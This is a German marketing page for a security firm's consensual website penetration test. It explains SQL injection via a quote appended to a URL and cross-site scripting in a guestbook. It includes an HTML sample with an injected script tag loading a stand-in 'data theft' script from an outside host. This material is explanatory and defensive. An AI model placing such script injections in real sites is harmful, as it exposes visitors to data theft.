protekto
Für den Menschen

Wie sicher sind Ihre Internetseiten gegen Hackerangriffe?

Mit einem simulierten Hackerangriff mit mehr als 400 verschiedenen technischen Angriffsszenarien können Sie Ihre Webseiten durch die Protekto auf Sicherheitsrisiken überprüfen lassen. Erkennen Sie dadurch Schwachstellen und minimieren Sie Angriffsflächen.

Einführung in die Hackerangriff-Simulation

In der heutigen Zeit ist die Webseite eines Unternehmens oftmals der erste Angriffspunkt für Cyberkriminelle - insbesondere, wenn die Angreifer wissen, dass potenziell wertvolle Daten zu holen sind. Daher ist es wichtig, frühestmöglich über die zugrundeliegenden Sicherheitsrisiken, die einen solchen Vorfall ermöglichen, informiert zu sein. Zugegebenermaßen ist das Thema Cyber-Security komplex und zeitaufwändig. Das Ziel der Protekto ist es, die Umsetzung für Kundinnen und Kunden so einfach wie möglich zu machen.

Unsere Hackerangriff-Simulation führt einen aktiven Penetrationstest durch. Um diesen durchführen zu können, benötigen wir die Einwilligung des Webseitenbetreibers. Bei der Durchführung stimmen wir uns eng mit dem Kunden ab.

Angriffsbeispiele

Wir nutzen die OWASP Top Ten als wichtigste Grundlage der Überprüfung von Sicherheitsmerkmalen von Webseiten. Zum aktuellen Zeitpunkt haben wir **65 Angriffskategorien** mit über **400 Angriffsszenarien** zusammengestellt, die bei einer Hackerangriff-Simulation zum Einsatz kommen.
Nachfolgend tauchen wir beispielhaft in zwei Angriffskategorien ein, um Ihnen eine Vorstellung darüber zu geben, wie unsere Hackerangriff-Simulation die Fehleranfälligkeit von Webseiten überprüft.

Beispiel 1: (No)SQL Injections

Aufgrund des Bedarfs an dynamischen Inhalten heutiger Webanwendungen sind die meisten Betreiber auf ein Datenbank-Backend angewiesen. Dort werden Daten gespeichert, die von der Webanwendung (oder anderen Programmen) abgerufen und verarbeitet werden können. Webanwendungen rufen Daten aus der Datenbank ab, indem sie SQL-Abfragen (z.B. für MySQL, MSSQL, PostgreSQL und Oracle) oder NoSQL-Abfragen (z.B. für MongoDB) verwenden.

Was ist eine (No)SQL Injection?

Eine (No)SQL Injection tritt auf, wenn ein Außenstehender von ihm stammende Werte innerhalb einer (No)SQL-Abfrage verwenden kann, ohne dass vorher eine Validierung dieser Werte durchgeführt wird. Dadurch kann er beliebigen (No)SQL-Code ausführen, um beispielsweise Datenbankabfragen vorzunehmen und Daten einzusehen.

Die erfolgreiche Ausnutzung einer (No)SQL-Injection kann für ein Unternehmen verheerend sein und ist eine der am häufigsten ausgenutzten Schwachstellen von Webanwendungen.

Wie wird eine (No)SQL Injection durch den Sicherheits-Scan ausgeführt?

Mit dem Hackerangriff simulieren wir die Vorgehensweise eines Angreifers. Unser Angriffszenario erkennt automatisiert, dass wir als Nutzer der Webseite in der Lage sind, durch das Austauschen von Parametern den Inhalt der Webseite zu verändern. Anschließend versuchen wir einen Datenbankfehler auszulösen. Wenn der Entwickler keine Validierung für die Parameter, die wir übergeben können eingebaut hat, wird es gefährlich.
Was passiert zum Beispiel, wenn wir eine ungültige ID übergeben, indem wir ein Hochkomma (') an die URL anhängen? Wenn wir dann sehen, dass wir einen SQL Syntax Fehler ausgelöst haben, ist das ein Beweis dafür, dass unsere fehlerhafte Angabe ohne Validierung von der Webseite verarbeitet wird und wir mit dieser Methode beliebige SQL Anfragen ausführen könnten. Wir wollen selbstverständlich keinen Schaden anrichten, weshalb wir nach dem Beweis eines Sicherheitsfehlers von weiteren Datenverarbeitungen absehen - im Fall einer echten Attacke würde der Angreifer jetzt weitere SQL-Abfragen ausführen, um an die sensiblen Daten zu gelangen, die er haben möchte.

Beispiel 2: Cross-Site Scripting

Client-seitiges JavaScript wird von modernen Webanwendungen ausgiebig genutzt. Die Nutzung reicht von einfachen Funktionen (wie der Formatierung von Text) bis hin zur vollständigen Manipulation von Daten auf der Nutzer-Seite und der Interaktion mit dem Betriebssystem.

Cross-Site Scripting (XSS) ermöglicht es Angreifern, Skripte in eine Anfrage einzufügen und den Server das Skript in der Antwort an den Client zurücksenden zu lassen. Dies geschieht, weil die Anwendung nicht vertrauenswürdige Daten (in diesem Beispiel vom Nutzer) entnimmt und sie wiederverwendet, ohne eine Validierung oder Bereinigung durchzuführen.

Wie wird Cross-Site Scripting durch die Hackerangriff-Simulation ausgeführt?

Nehmen wir als Beispiel ein Gästebuch, in dem Besucher Kommentare zur Webseite hinterlassen können.
Auch in diesem Beispiel simuliert unsere Attacke einen Angreifer.

Unser Ziel als Angreifer ist es, dieses Formular so auszunutzen, dass wir beliebigen JavaScript Code auf der Webseite ausführen können. Dafür stellen wir uns vor, dass wir ein bösartiges Script unter der URL "**https://beispiel.de/datendiebstahl.js**" vorbereitet und gespeichert haben. Dieses Script versuchen wir nun in das Gästebuch zu injizieren, sodass das Script nach der Injection bei jedem Besucher ausgeführt wird.
Falls der Entwickler ebenfalls keine Validierung für das Eingabefeld der Gästebucheinträge vorgenommen hat, sollten wir in der Lage sein, beliebige HTML-

Elemente (z.B. Script-Tags) übersenden zu können, die dann auf der Webseite im Gästebuch eingefügt werden.

Auf den ersten Blick sieht es nach dem Absenden des Formulars so aus, als wäre nichts passiert. Schauen wir uns jedoch den Code der Webseite an, stellen wir fest, dass unser Script erfolgreich in den Eintrag injiziert wurde und ab jetzt bei jedem Besucher des Gästebuchs ausgeführt wird.

```
<div id="content">
  <div class="story">
    <table width="100%" cellspacing="1" cellpadding="4">
      <tbody>
        <tr>…</tr>
        <tr>…</tr>
        <tr>
          <td colspan="2">
            <img src="/images/remark.gif">
              Hallo, das ist ein bösartiger Eintrag.
            <script src="https://beispiel.de/datendiebstahl.js"></script>
          </td>
        </tr>
      </tbody>
    </table>
  </div>
  <div class="story">…</div>
</div>
```

Erfolgreiche Platzierung eines JavaScriptes im Gästebuch

Dadurch ist bewiesen, dass dieses Formular anfällig für Cross-Site Scripting ist.

Bericht/Dokumentation

Jeder Kunde erhält eine detaillierte Dokumentation nach der durchgeführten Hackerangriff-Simulation, sodass die Ergebnisse verständlich dokumentiert sind. Dies ist eine gute Gesprächsgrundlage mit der Internetagentur oder der IT-Abteilung unserer Kunden. „Eine externe Zweitmeinung ist immer wieder gut geeignet, das Thema Internet-Security neu anzuschauen. Sie ist damit eine gute Prophylaxe gegen die Betriebsblindheit, vor der keiner gefeit ist“, fasst Kent Schwirz von der Protekto zusammen.